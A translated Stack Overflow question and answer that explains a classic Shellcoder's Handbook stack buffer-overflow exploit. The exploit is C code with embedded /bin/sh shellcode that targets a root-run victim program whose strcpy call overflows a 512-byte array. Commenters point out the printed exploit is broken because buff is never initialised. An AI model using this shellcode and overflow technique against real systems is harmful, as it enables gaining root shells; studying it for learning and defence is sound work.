【问题标题】:What exactly does this program mean? (Shellcoder's Handbook)这个程序到底是什么意思? (Shellcoder 手册)
【发布时间】:2018-06-14 16:35:21
【问题描述】:

最近我在阅读 shellcoders 手册,遇到的这个例子让我有点困惑。我能够部分解码它的含义,但不能完全解码。我在我理解它的含义的地方添加了 cmets,并且还在我不理解作者试图完成的内容的地方添加了 cmets。有人可以告诉我这个第一个 c 程序是如何工作的吗?

#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] = 
 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff; // ???? buff is a random memory address within the progam. Why make ptr equal to buff?
  addr_ptr = (long *) ptr; //typecasting to long pointer and assigning it to the random memory address, but why?
  for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr; // Fill bsize worth of stack memory with address, possibly to overwrite EIP on return from main

  ptr += 4; // why add ptr by 4? I mean I know each stack space is worth 4 units but considering ptr is a random memory address why add it by 4?

   for (i = 0; i < strlen(sc); i++)
           *(ptr++) = sc[i]; // place shellcode at ptr's address

   buff[bsize - 1] = '\0'; // no clue why this is used? Probably terminating shellcode? Or for marking end of buffer using \0

   memcpy(buff,"BUF=",4); // copy memory 4 units equivalent of BUF=
   putenv(buff); // linux environment variable stuff. Not really sure.
   system("/bin/bash"); // no idea what this does.
 }

前面的文字还提到它是为了获得对 Linux 中 shell 的 root 访问权限。如果一个进程以 root 权限运行,它可以工作,这是否意味着缓冲区溢出到另一个进程的指令?这不应该是可能的,但我只是想确认一下。如果不是,它如何获得 shell 或 root shell 的 root 权限?

[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768 
[jack@0day local]$ ./victim $BUF

这是它在命令行上的显示方式,作者以 root 权限启动了victim.c。

victim.c源码如下:

int main(int argc,char *argv[]) {
char little_array[512]; 
if (argc > 1) 
strcpy(little_array,argv[1]); }

【问题讨论】:

  • 这恰好是一个程序,通过试错法检查程序开始与shellcode地址之间的偏移量。
  • 这是答案,还是描述并且您正在寻找详细信息?另外,这本书有多少年了?
  • 请努力使用 ASCII 表将十六进制表示转换为字符序列。
  • 我想了解第一个程序是如何工作的。我不需要像有人在答案中发布的那样理解 shellcode。如果你想知道 shellcode 的作用,那就是在 linux 中打开一个 shell。这本书是 2004 年的。我无法拿到新版本。也想知道BUF在命令行中是什么意思。如果第一个程序中的 BUF 和 BUF 是相关的,又是如何相关的?
  • Josh,你能解释一下第一个程序是做什么的吗?那真的很有帮助!

标签: c shellcode


【解决方案1】:

所以,我终于能够找出整个代码的意思了,虽然我感觉作者在写代码的时候做了一些假设。我将一路解释它们。如果您觉得我的解释在某些方面有误,请随时纠正我。

#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] = 
 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

第一段代码包括 C 的标准库头。虽然这里没有使用它,但它只是本书的一般规范,将它包含在提供的每一段代码中。 作者定义了偏移量大小和缓冲区大小。如果用户没有在命令行中提供输入,这些将成为偏移大小/缓冲区大小的默认值,正如我们将在下面提到的代码中注意到的那样。作者还声称 shellcode 将运行 Linux 终端。

unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
  printf("Attempting address: 0x%x\n", addr);

直到代码中的这一点,我们有一个find_start() 程序将esp 寄存器值移动到eax 寄存器。然后返回 eax 的值。所以简而言之,这段代码是为了找到当前堆栈指针的位置。

在 main 我们看到一些指针被定义。接下来我们看到作者将buffer_size 分配给bsize 作为默认案例场景,offsetoffset_size 也是如此。接下来检查argc的值,这基本上意味着如果有多个输入,那么第一个输入将是bsize,第二个输入将分别是offset

对于下一段代码,我将使用下图来解释这个概念: 正如我们所看到的,假设堆栈向下增长,尽管这取决于架构,但本书假设它向下增长。

addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);

第一行表示addr 设置为我们的shellcode 驻留在内存中的esp - the defined offset value 的值(我们将在下一节中对此进行研究)。这是作者提出的第一个假设,作者假设每次程序运行时,都会为 find_start() 分配相同数量的堆栈空间,因此esp - offset 将保持不变。然后打印出这个值。

  ptr = buff;
  addr_ptr = (long *) ptr; 
  for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr; 

  ptr += 4; 

   for (i = 0; i < strlen(sc); i++)
           *(ptr++) = sc[i]; 

ptr 等于 buff 进一步转换为 long * 并等于 addr_ptr。这基本上试图实现的是,由于buffmain() 的堆栈内存中,它将指向main() 内存中的随机位置。注意buff指向的这个内存位置大于find_start()栈内存的内存地址。因此buff 将大于addr。 从内存中的这一点开始,我们将以4为增量将shellcode在堆栈内存中的起始位置的地址写入分配的bsize。增加 4 是因为在 32 位系统中每个堆栈内存单元值 4 个字节。 ptr 然后增加 4 以指向堆栈内存中的下一个更高位置。下一节将介绍我们这样做的原因。 接下来我们增加ptr 并将shellcode 写入内存,必要时覆盖之前写入的addrsc的最后一个char写入内存的地方就是shellcode的起始地址。 addr 应该相当于这个地址,我们可以尝试不同的offsetsbuffer sizes 或者通过设置断点检查程序运行时的内存布局。

buff[bsize - 1] = '\0'; 

   memcpy(buff,"BUF=",4); 
   putenv(buff); 
   system("/bin/bash");

缓冲区的最后一个字节等于\0,以标记输入的结束。之前我们将ptr 增加了4,这是为了在buff 的位置为4 字节的数据腾出空间,相当于BUF=,这有助于我们设置环境变量。 putenv(buff) 使它看起来像 BUF=(SHELLCODE-REGION)+(MEMORY ADDRESS TO START OF SHELL CODE REGION)+\0。因此BUF 是一个由这个长字符串组成的环境变量。然后执行system("bin/bash"),据我所知,这几乎启动了 linux 命令行,但我不确定。

接下来是使用这个环境变量的部分。

[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768 
[jack@0day local]$ ./victim $BUF

这意味着attackbuffer size 500 一起运行,这会生成一个环境变量BUF。然后针对victim 程序测试此BUF。如果我们回想一下,这是如何工作的,BUF 字符串的最后一部分由第一个 shellcode 指令的内存地址组成。所以,这部分假设覆盖上图中EBPRET的值。返回时程序将使用RET的地址并启动假设启动linux终端的shellcode,因为受害者以root运行,所以shellcode也以root启动终端。

这个程序有一个重点:需要尝试bsizeoffset 的多个值,以最终找到一个适用于victim.c 的值。其次,这是因为在受害者中使用了strcpy(),它不会检查要复制的字符串的大小,如果它适合数组,它会突出写入数组指向的内存位置。此外,由于ESP 位于内存的最低部分并在程序执行时向上填充,如果传递的数据大于分配的堆栈空间,RETEBP 甚至可能会覆盖更多通过传递的数据。

如果解释中有任何错误,请发表评论。我试图解释它以供我自己将来参考,以防我忘记了这个程序的作用,也让其他人难以理解这个程序实际上试图做什么。

【讨论】:

  • 这一切都是合理的除了这一切的诀窍:buf 永远不会被初始化,你不能对它的内容假设 任何事情。当尝试写入addr_ptr 时,它的值可能会被初始化为 0 或指向一个不可写的页面,从而导致立即出现 SEGFAULT。也许某些特定的 Linux kernel/arch/Compiler 版本组合会导致buf 的内容满足某些约束?
  • 我指的部分是:“由于buff在main()的栈内存中,所以会指向main()内存中的一个随机位置。注意buff指向的这个内存位置是大于find_start()栈内存的内存地址。"
  • 它应该在 Red Hat 9.0 上运行。不确定变量是否在任何发行版中都可以在没有初始化的情况下工作。因此,最合理的方法是我提到的。
  • 如果代码说ptr = &amp;buf; 我会同意。但是对于ptr=buf;,分配给ptr 的不是buf地址,而是它的内容。 buf 位于main 的堆栈帧中,但其内容完全未定义。它可以是从 0 到架构上的最大值的任何值。你怎么知道,“buff 指向的这个内存位置大于 find_start() 堆栈内存的内存地址。”? buf 可以指向0x0,无论find_start 的地址是什么,这绝对大于find_start 的地址。
  • As noted in this blog post 缺少代码块。 buff 应该分配堆内存。书中紧接着有一个非常相似的改进程序(它使用 NOP 来填充有效负载,因此您不需要非常精确地找到 RET),它为buff 分配内存。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-06-16
  • 2016-06-13
  • 1970-01-01
  • 1970-01-01
  • 2016-12-02
  • 2016-04-01
相关资源
最近更新 更多